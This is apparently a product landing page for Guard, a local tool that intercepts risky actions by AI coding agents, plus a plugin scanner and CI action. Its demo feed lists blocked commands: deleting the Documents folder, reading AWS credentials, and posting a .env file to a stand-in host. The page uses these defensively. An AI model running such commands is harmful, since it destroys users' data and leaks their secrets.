Real Guard blocks, replayed. Each one is a mistake your AI almost made — stopped before it happened.
Your AI can make mistakes. Guard stops the dangerous ones.
Guard watches what your AI assistant tries to do and asks you first before anything risky — deleting files, reading passwords, installing software, or sending your data out.
Runs on your computer — your files never leave your machine. Works even with no internet.
Free to start. We'll email you the setup steps so they're ready when you are.
How Guard protects you
It watches.
It asks first.
You stay in control.
Guard sits quietly between your AI assistant and your computer. The moment your AI tries something risky, Guard pauses it and asks you — before anything happens.
Runs on your computer. Your files never leave your machine.
Live intercepts
4 risky actions stopped
- Blockedjust now
rm -rf ~/Documents
tried to delete your documents folder
- Blocked2s
cat ~/.aws/credentials
tried to read your saved cloud passwords
- Allowed9s
npm run build
tried to build your project
- Blocked14s
curl -X POST evil.sh < .env
tried to send your secrets to a stranger
- Blocked22s
git push origin main
tried to push straight to your main branch
- Allowed31s
code src/index.ts
tried to open a file to edit
What Guard stops
The mistakes an AI can make, stopped before they happen.
You don't need to understand the technical details. Guard knows the difference between normal work and a dangerous move — and it only interrupts you when it matters.
<50ms
to check each action
100%
on your machine
0
files ever uploaded
What Guard does with each
- Deleting your filesStopped
- Reading your passwordsStopped
- Sending your data outStopped
- Installing something shadyStopped
- Normal, safe workAllowed
HOL is a neutral consortium building agentic AI Standards
Loved by developers
Developers are putting Guard between their AI and their machine.
Unsolicited words from people who installed it, ran it, and looked at the code — not paid placements.
“An invaluable tool.”
Kevin Zepeda-Compton
Product Hunt
“Exactly what we need.”
Adrian Tomkins
Product Hunt
“Exactly what was missing.”
Petr Kovacik
Product Hunt
“Incredible work.”
Brandon Davenport
Product Hunt
“An invaluable tool.”
Kevin Zepeda-Compton
Product Hunt
“Exactly what we need.”
Adrian Tomkins
Product Hunt
“Exactly what was missing.”
Petr Kovacik
Product Hunt
“Incredible work.”
Brandon Davenport
Product Hunt
“More useful than half the polished AI demos.”
@AIDailyGems
X
“The millisecond overhead is a small price.”
Timur Cimerman
Engineer
“I like that this sits before the agent.”
Yaroslav Stelmakh
Product Hunt
“More useful than half the polished AI demos.”
@AIDailyGems
X
“The millisecond overhead is a small price.”
Timur Cimerman
Engineer
“I like that this sits before the agent.”
Yaroslav Stelmakh
Product Hunt
The most dangerous thing your AI can do is exactly what you asked
Start free. Upgrade to Pro when you're ready.
- Get install instructions by email
- Save your setup
- Access Pro features
- Sync receipts across machines
- Receive curated advisories
- Manage Slack and email alerts
Enter your email to create your free account.
For maintainers and plugin publishers
For maintainers
The scanner
for agent
ecosystems.
Validate extensions before release. Use plugin-scanner for maintainer CI checks, then use hol-guard locally to enforce runtime decisions.
# Local maintainer gate
$ pipx install plugin-scanner
$ plugin-scanner verify .
# GitHub Actions PR gate
permissions:
contents: read
security-events: write
jobs:
scan-plugin:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: hashgraph-online/ai-plugin-scanner-action@v1
with:
plugin_dir: "."
min_score: 80
fail_on_severity: highMulti-ecosystem detection
Auto-detects Codex plugins, Claude Code plugins, Gemini CLI extensions, and OpenCode workspace bundles in any repository.
Trust scores and badges
Computes a weighted trust score across security, MCP posture, installability, and maintenance. Plugins that pass can display Scanner Clean, MCP Hardened, and Marketplace Ready badges.
GitHub Action for CI
Use plugin-scanner verify in CI, or the published ai-plugin-scanner action, to gate PRs before release.
MCP transport hardening
Flags insecure HTTP MCP endpoints, wildcard binds, and missing auth postures before they reach production.
Manifest and marketplace validation
Checks relative paths, required screenshots, privacy policy URLs, and plugin metadata completeness — the same rules the HOL Registry uses for import.
Skill-level security scanning
Scans bundled skills for prompt injection markers, zero-width characters, dangerous shell commands, and secret leaks.
Supported agents
Install Guard in 60 seconds.
- 1Install Guard
- 2Copy and run a command below
Cursor
set -o pipefail; curl -fsSL https://hol.org/guard/install.sh | bash -s -- --harness cursor --mode install --verifyInstalls Guard and configures Cursor in one step. Already installed?
Understand the threats.
Stop them locally.
Prompt injection, MCP tool poisoning, supply-chain attacks, and secret exfiltration — real threats against AI coding agents, explained with detection steps and fixes.
Explore the security hubLearn about prompt injection, malicious MCP servers, and secret exfiltration
Real attack breakdowns, detection steps, and Guard configuration for each threat. Browse advisories, warnings, and interactive labs.
Browse advisories & warningsGuard Local vs Guard Cloud
Guard always protects you on your own computer first — your files never have to leave your machine. Guard Cloud simply adds shared rules and team dashboards on top; it never takes over that local protection.
Guard Local
Runs entirely on the developer machine. Enforces policy on AI agent actions without any cloud dependency. Keeps a local decision trail of what was approved and what changed.
- Full local protection modules for Git, packages, secrets, and more
- Enforces locally — no cloud required for blocking
- Local decision trail for approvals and changes
Guard Cloud
Adds shared policy, org-wide telemetry, and team dashboards on top of the local enforcement layer. Cloud connectivity is for visibility and coordination, not for enforcement.
- Synced module settings and searchable module history
- Organization module policy local devices cannot weaken
- Shared policy, dashboards, and evidence export
Add a safety layer
before the next command.
Create a free account. Install locally in 30 seconds. No credit card required.
